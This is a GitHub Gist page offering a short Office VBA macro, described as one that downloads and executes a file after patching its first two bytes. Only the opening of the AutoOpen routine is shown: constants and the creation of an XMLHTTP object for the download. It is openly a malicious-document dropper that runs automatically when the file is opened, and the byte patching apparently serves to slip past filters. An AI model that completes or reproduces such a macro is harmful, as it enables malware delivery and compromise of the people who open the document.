Skip to content

Instantly share code, notes, and snippets.

@nopslider
nopslider / Download and Execute Office Macro
Last active July 26, 2023 13:11
A short VBA macro to download and execute a file (patching the first two bytes of the file)
Sub AutoOpen()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Set xHttp = CreateObject("Microsoft.XMLHTTP")